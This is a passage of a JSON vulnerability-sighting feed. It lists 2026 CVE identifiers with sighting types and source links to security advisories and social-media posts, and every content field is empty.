"2026-03-19T11:33:38.856544Z"}, {"uuid": "15967281-11c1-4c50-b65a-57e3dbc88418", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/453a593e-6c26-4c36-81a2-1d550d822df5", "content": "", "creation_timestamp": "2026-02-13T07:17:08.386231Z"}, {"uuid": "3972d397-6fa0-49a9-b803-c1cdeb3efdf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116250849364616830", "content": "", "creation_timestamp": "2026-03-18T15:19:49.502256Z"}, {"uuid": "43f13f46-2554-4f3a-9d7a-be306f17ffd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/technadu.com/post/3mhfvsc7lss2e", "content": "", "creation_timestamp": "2026-03-19T11:33:40.512179Z"}, {"uuid": "15bfa17a-490f-44bc-9840-844ec858aa3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/testrepute123.bsky.social/post/3mhr2qqbzmo2w", "content": "", "creation_timestamp": "2026-03-23T22:01:32.411097Z"}, {"uuid": "ab0cce99-7ded-4051-9e0b-fdcc133f1220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20963", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/89e95885-1490-4942-a08d-70a2423ae944", "content": "", "creation_timestamp": "2026-03-18T21:00:02.374604Z"}, {"uuid": "991ad4f5-36a7-4f87-84af-3753b538bfee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/cbb95215-81ac-4469-9422-ad5ef878543e", "content": "", "creation_timestamp": "2026-03-19T17:00:02.217723Z"}, {"uuid": "17b5de07-07c5-4c5b-9d43-0eda2c5f8052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20131", "type": "seen", "source": "https://infosec.exchange/users/patrickcmiller/statuses/116255655255694770", "content": "", "creation_timestamp": "2026-03-19T11:42:01.610644Z"}, {"uuid": "580b6559-9976-4310-9058-54d8632e26d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3mhfwbcrh7y2u", "content": "", "creation_timestamp": "2026-03-19T11:42:06.556018Z"}, {"uuid": "d0c7190a-5417-41bd-9ae0-216238fc8c1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20125", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "c6b20e91-6b09-4d88-a3f2-26ead9fec3e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/firstpasslab.bsky.social/post/3mhkhiohaa32s", "content": "", "creation_timestamp": "2026-03-21T07:01:04.268281Z"}, {"uuid": "47265f21-4da6-480f-a974-1b1e712627c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20112", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "6c29e085-12d9-434d-a5f4-714559d1718c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20113", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "c790714d-e10b-4c3b-8ce8-3dd0b356707e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20115", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "8d730057-8ab3-4d30-89c2-40b5daacb664", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20963", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/116261500458642542", "content": "", "creation_timestamp": "2026-03-20T12:28:32.798943Z"}, {"uuid": "685a5e5f-10a5-4bfd-8175-20048d9af2a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20083", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "d9c1d46e-ffd7-43ff-845a-7886e69adc91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mhijgi3y422g", "content": "", "creation_timestamp": "2026-03-20T12:30:23.066828Z"}, {"uuid": "d08bea29-7053-4947-9cf2-b8c75d277e22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20108", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "b6adeb46-2f57-46dc-bbf0-1a51713e8673", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hakksaww.bsky.social/post/3mhdvcxpiwz2v", "content": "", "creation_timestamp": "2026-03-18T16:19:44.620367Z"}, {"uuid": "ab121b09-ca32-4df7-8840-e9fa9117f389", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mhijgngl3k2g", "content": "", "creation_timestamp": "2026-03-20T12:30:24.578571Z"}, {"uuid": "1c03cbce-29fb-47a4-be01-ca5b8c5d149a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20084", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "55689817-0a1c-4a2c-88f8-3973e90222a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mhijgngnzc2g", "content": "", "creation_timestamp": "2026-03-20T12:30:26.114173Z"}, {"uuid": "fb034ca0-35ea-4f12-b488-d72bec4b5f9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20110", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "040ba940-5889-4c5b-9780-cf3828a7118c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://infosec.exchange/users/tomcat/statuses/115898561732709585", "content": "", "creation_timestamp": "2026-01-15T10:08:26.634970Z"}, {"uuid": "766ae611-6603-4c2c-bc05-dcde941278dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20086", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "19717e07-7e90-4cb0-b0fa-c42b0cfee5b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mhdvfbpy632l", "content": "", "creation_timestamp": "2026-03-18T16:21:06.269731Z"}, {"uuid": "5b855d25-f3a5-45ce-ade7-8921a2e66eef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20104", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "09759759-ca9a-4c09-bc96-7c18e8c6e796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mhdvk74qvk2s", "content": "", "creation_timestamp": "2026-03-18T16:23:47.223432Z"}, {"uuid": "7e33c5e3-311d-4d59-9673-917859239fc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20114", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "b4c2860e-3d80-4ab3-82a1-8811ad2e6df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20131", "type": "seen", "source": "https://bsky.app/profile/firstpasslab.bsky.social/post/3mhkjpajhaf2q", "content": "", "creation_timestamp": "2026-03-21T07:40:30.241406Z"}, {"uuid": "cbaf54ec-bf20-470a-9cd8-d94aac916f8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20004", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "f2bb9f88-338f-4a9e-a419-cfe77d45760f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhdvmaejme23", "content": "", "creation_timestamp": "2026-03-18T16:24:55.979653Z"}, {"uuid": "41bcfa61-3174-44f9-8a7b-00b6b7a48747", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhso5e4ypk2d", "content": "", "creation_timestamp": "2026-03-24T13:21:17.360434Z"}, {"uuid": "c98ff285-774b-4058-8137-845af4714666", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20817", "type": "seen", "source": "https://mastodon.social/users/verbrecher/statuses/116301143769680087", "content": "", "creation_timestamp": "2026-03-27T12:30:21.977885Z"}, {"uuid": "be52fc91-9366-4ea8-8adc-6470d7a18f5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20051", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco", "content": "", "creation_timestamp": "2026-02-25T17:29:05.000000Z"}, {"uuid": "2ff537a9-6b96-4e9d-8262-abfef3a6c8e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/allsafeus.bsky.social/post/3mhdx6wkto62o", "content": "", "creation_timestamp": "2026-03-18T16:53:17.297777Z"}, {"uuid": "f92ec0f9-e543-4b90-a35b-db13dbf263e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhsoao5l7k2d", "content": "", "creation_timestamp": "2026-03-24T13:23:10.159601Z"}, {"uuid": "520f45b8-8a39-4772-bf0e-b25d3ed1e6dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3mchjz3midb2j", "content": "", "creation_timestamp": "2026-01-15T12:02:03.548610Z"}, {"uuid": "a4b5fdab-76cc-4864-8c8d-031d6ef38591", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20129", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco", "content": "", "creation_timestamp": "2026-02-25T17:29:05.000000Z"}, {"uuid": "d917ad69-0453-4672-b2a5-30aaa20f36a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhil3h634a2h", "content": "", "creation_timestamp": "2026-03-20T12:59:53.851359Z"}, {"uuid": "a186f219-4111-40e3-adda-50b6184cd066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20699", "type": "seen", "source": "https://support.apple.com/en-us/126794", "content": "", "creation_timestamp": "2026-03-26T03:00:11.000000Z"}, {"uuid": "70a56bc0-383d-491c-ab9d-34572e59a6e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco", "content": "", "creation_timestamp": "2026-02-25T17:29:05.000000Z"}, {"uuid": "b1e66a46-57d2-437e-9806-57bc3066d16d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20684", "type": "seen", "source": "https://support.apple.com/en-us/126794", "content": "", "creation_timestamp": "2026-03-26T03:00:11.000000Z"}, {"uuid": "726d8a37-1539-4dae-82a2-78aafc334ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20010", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco", "content": "", "creation_timestamp": "2026-02-25T17:29:05.000000Z"}, {"uuid": "cdad0274-636b-432f-8b88-375383d4038d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20633", "type": "seen", "source": "https://support.apple.com/en-us/126794", "content": "", "creation_timestamp": "2026-03-26T03:00:11.000000Z"}, {"uuid": "f5b16acb-0d74-43de-9e13-2c2d97c67567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mchwemc6fk2b", "content": "", "creation_timestamp": "2026-01-15T15:43:14.808710Z"}, {"uuid": "13042c72-588c-4083-a81c-bea30c30d9a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20965", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115899897008219613", "content": "", "creation_timestamp": "2026-01-15T15:48:01.447256Z"}, {"uuid": "0a668aae-2667-44b9-8441-9ca39e159a51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3mchz63s5ma26", "content": "", "creation_timestamp": "2026-01-15T16:33:16.941503Z"}, {"uuid": "9d0cfe49-02ec-4165-92a0-0a5d7ee9da94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20824", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mchzvg4fjc2g", "content": "", "creation_timestamp": "2026-01-15T16:46:26.177293Z"}, {"uuid": "bca7d5b1-7597-4958-9aa2-28778c67bf35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20965", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/115900143708896332", "content": "", "creation_timestamp": "2026-01-15T16:50:45.563191Z"}, {"uuid": "52848828-a963-4c72-a227-43080ac69d05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mci36wssmd2x", "content": "", "creation_timestamp": "2026-01-15T17:09:32.592278Z"}, {"uuid": "aa7bbde1-675a-4d88-9b3e-0ac4f03a8e4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/theitnerd.ca/post/3mci7bdw5l326", "content": "", "creation_timestamp": "2026-01-15T18:22:28.533709Z"}, {"uuid": "8de8c759-dd57-4a74-ba1d-0d3b3da3b965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mcibd3mkms2f", "content": "", "creation_timestamp": "2026-01-15T18:59:21.083517Z"}, {"uuid": "3c10bc1e-5b33-42fe-a80f-31b1255a852a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://threatintel.cc/2026/01/15/cve-tenantwide-rce-via-azure.html", "content": "", "creation_timestamp": "2026-01-15T15:50:54.000000Z"}, {"uuid": "e69d9219-54e8-4f53-9c0e-3d98d6411a4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2025", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-2025.yaml", "content": "", "creation_timestamp": "2026-03-16T01:44:23.000000Z"}, {"uuid": "186ae69c-d340-471f-9fa3-d847b4b6ca98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20048", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco", "content": "", "creation_timestamp": "2026-02-25T17:29:05.000000Z"}, {"uuid": "aab26caa-a4dd-4d11-9cf0-c441b2efc9ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mhr54orf422n", "content": "", "creation_timestamp": "2026-03-23T22:44:04.624801Z"}, {"uuid": "a7a21a87-c6d7-4d93-9a1d-a9cfa893567f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco", "content": "", "creation_timestamp": "2026-02-25T17:29:05.000000Z"}, {"uuid": "75973101-49cf-46bf-9170-edea049feadc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20104", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-21", "content": "", "creation_timestamp": "2026-03-26T15:12:31.000000Z"}, {"uuid": "2b95cfce-0363-4da3-9d08-c54819f28e88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco", "content": "", "creation_timestamp": "2026-02-25T17:29:05.000000Z"}, {"uuid": "2900c850-eabe-4d25-9ba2-704c5c54e91b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/allaboutsecurity.bsky.social/post/3mhfxx5v6cs2n", "content": "", "creation_timestamp": "2026-03-19T12:12:13.402311Z"}, {"uuid": "1fd23531-bee3-4364-a3e3-20fceeee92df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mhr5537rjld2", "content": "", "creation_timestamp": "2026-03-23T22:44:15.856944Z"}, {"uuid": "7b067b90-0542-4c15-a5ce-e8395f3af9cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20084", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-21", "content": "", "creation_timestamp": "2026-03-26T15:12:31.000000Z"}, {"uuid": "5e965b08-7486-444f-9254-80d280d4c106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20033", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco", "content": "", "creation_timestamp": "2026-02-25T17:29:05.000000Z"}, {"uuid": "4881b378-1822-44f3-a77f-cf10ee90bb76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://thehackernews.com/2026/03/interlock-ransomware-exploits-cisco-fmc.html", "content": "", "creation_timestamp": "2026-03-18T15:00:00.000000Z"}, {"uuid": "8275a760-9c45-428d-b57c-104a09e68cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhson7aa722d", "content": "", "creation_timestamp": "2026-03-24T13:30:10.126415Z"}, 